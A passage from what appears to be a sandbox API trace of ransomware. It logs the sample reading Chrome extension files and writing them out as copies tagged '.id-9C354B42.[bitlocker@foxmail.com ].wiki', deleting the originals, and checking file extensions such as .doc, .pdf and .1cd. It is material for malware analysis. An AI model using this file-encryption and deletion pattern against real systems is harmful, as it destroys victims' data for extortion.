Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.488] GetLastError () returned 0x0 [0180.488] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd2, lpOverlapped=0x0) returned 1 [0180.489] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0180.490] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.490] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.490] SetEndOfFile (hFile=0x198) returned 1 [0180.490] CloseHandle (hObject=0x198) returned 1 [0180.491] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.491] SetEndOfFile (hFile=0x160) returned 1 [0180.491] CloseHandle (hObject=0x160) returned 1 [0180.492] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.492] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json")) returned 1 [0180.492] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.492] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.492] lstrlenW (lpString=".doc") returned 4 [0180.492] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.492] lstrlenW (lpString=".docx") returned 5 [0180.492] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.492] lstrlenW (lpString=".pdf") returned 4 [0180.492] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.492] lstrlenW (lpString=".xls") returned 4 [0180.492] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.492] lstrlenW (lpString=".xlsx") returned 5 [0180.492] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.492] lstrlenW (lpString=".ppt") returned 4 [0180.492] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.492] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.492] lstrlenW (lpString=".zip") returned 4 [0180.492] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.492] lstrlenW (lpString=".rar") returned 4 [0180.492] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.493] lstrlenW (lpString=".bz2") returned 4 [0180.493] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.493] lstrlenW (lpString=".7z") returned 3 [0180.493] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.493] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.493] lstrlenW (lpString=".dbf") returned 4 [0180.493] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.493] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.493] lstrlenW (lpString=".1cd") returned 4 [0180.493] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.493] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.493] lstrlenW (lpString=".jpg") returned 4 [0180.493] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.493] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.493] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.493] lstrlenW (lpString=".doc") returned 4 [0180.493] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.493] lstrlenW (lpString=".docx") returned 5 [0180.493] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.493] lstrlenW (lpString=".pdf") returned 4 [0180.493] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.493] lstrlenW (lpString=".xls") returned 4 [0180.493] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.493] lstrlenW (lpString=".xlsx") returned 5 [0180.493] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.493] lstrlenW (lpString=".ppt") returned 4 [0180.493] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.493] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.493] lstrlenW (lpString=".zip") returned 4 [0180.493] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.493] lstrlenW (lpString=".rar") returned 4 [0180.494] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.494] lstrlenW (lpString=".bz2") returned 4 [0180.494] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.494] lstrlenW (lpString=".7z") returned 3 [0180.494] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.494] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.494] lstrlenW (lpString=".dbf") returned 4 [0180.494] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.494] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.494] lstrlenW (lpString=".1cd") returned 4 [0180.494] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.494] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 151 [0180.494] lstrlenW (lpString=".jpg") returned 4 [0180.494] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.494] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.494] lstrlenW (lpString="messages.json") returned 13 [0180.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.495] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=222) returned 1 [0180.495] CloseHandle (hObject=0x160) returned 1 [0180.495] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json")) returned 0x2020 [0180.495] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.495] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.495] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.495] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.495] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.496] GetLastError () returned 0x0 [0180.496] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xde, lpOverlapped=0x0) returned 1 [0180.497] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0180.841] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.841] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.841] SetEndOfFile (hFile=0x198) returned 1 [0180.841] CloseHandle (hObject=0x198) returned 1 [0180.841] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.841] SetEndOfFile (hFile=0x160) returned 1 [0180.842] CloseHandle (hObject=0x160) returned 1 [0180.844] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.844] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json")) returned 1 [0180.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.844] lstrlenW (lpString=".doc") returned 4 [0180.844] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.845] lstrlenW (lpString=".docx") returned 5 [0180.845] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.845] lstrlenW (lpString=".pdf") returned 4 [0180.845] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.845] lstrlenW (lpString=".xls") returned 4 [0180.845] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.845] lstrlenW (lpString=".xlsx") returned 5 [0180.845] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.845] lstrlenW (lpString=".ppt") returned 4 [0180.845] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.845] lstrlenW (lpString=".zip") returned 4 [0180.845] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.845] lstrlenW (lpString=".rar") returned 4 [0180.845] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.845] lstrlenW (lpString=".bz2") returned 4 [0180.845] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.845] lstrlenW (lpString=".7z") returned 3 [0180.845] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.845] lstrlenW (lpString=".dbf") returned 4 [0180.845] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.845] lstrlenW (lpString=".1cd") returned 4 [0180.845] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.845] lstrlenW (lpString=".jpg") returned 4 [0180.845] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.845] lstrlenW (lpString=".doc") returned 4 [0180.845] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.845] lstrlenW (lpString=".docx") returned 5 [0180.846] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.846] lstrlenW (lpString=".pdf") returned 4 [0180.846] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.846] lstrlenW (lpString=".xls") returned 4 [0180.846] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.846] lstrlenW (lpString=".xlsx") returned 5 [0180.846] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.846] lstrlenW (lpString=".ppt") returned 4 [0180.846] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.846] lstrlenW (lpString=".zip") returned 4 [0180.846] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.846] lstrlenW (lpString=".rar") returned 4 [0180.846] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.846] lstrlenW (lpString=".bz2") returned 4 [0180.846] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.846] lstrlenW (lpString=".7z") returned 3 [0180.846] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.846] lstrlenW (lpString=".dbf") returned 4 [0180.846] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.846] lstrlenW (lpString=".1cd") returned 4 [0180.846] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned 151 [0180.846] lstrlenW (lpString=".jpg") returned 4 [0180.846] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.846] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0180.846] lstrlenW (lpString="angular.js") returned 10 [0180.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.847] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=573631) returned 1 [0180.847] CloseHandle (hObject=0x160) returned 1 [0180.847] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js")) returned 0x2020 [0180.847] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0180.847] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.847] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.848] GetLastError () returned 0x0 [0180.848] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x8c0bf, lpOverlapped=0x0) returned 1 [0180.861] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x8c0c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x8c0c0, lpOverlapped=0x0) returned 1 [0180.871] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.871] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0180.871] SetEndOfFile (hFile=0x198) returned 1 [0180.871] CloseHandle (hObject=0x198) returned 1 [0180.871] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.871] SetEndOfFile (hFile=0x160) returned 1 [0181.003] CloseHandle (hObject=0x160) returned 1 [0181.003] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.003] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js")) returned 1 [0181.003] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.003] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.003] lstrlenW (lpString=".doc") returned 4 [0181.003] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0181.003] lstrlenW (lpString=".docx") returned 5 [0181.003] lstrcmpiW (lpString1=".docx", lpString2="ar.js") returned -1 [0181.003] lstrlenW (lpString=".pdf") returned 4 [0181.003] lstrcmpiW (lpString1=".pdf", lpString2="r.js") returned -1 [0181.003] lstrlenW (lpString=".xls") returned 4 [0181.003] lstrcmpiW (lpString1=".xls", lpString2="r.js") returned -1 [0181.003] lstrlenW (lpString=".xlsx") returned 5 [0181.004] lstrcmpiW (lpString1=".xlsx", lpString2="ar.js") returned -1 [0181.004] lstrlenW (lpString=".ppt") returned 4 [0181.004] lstrcmpiW (lpString1=".ppt", lpString2="r.js") returned -1 [0181.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 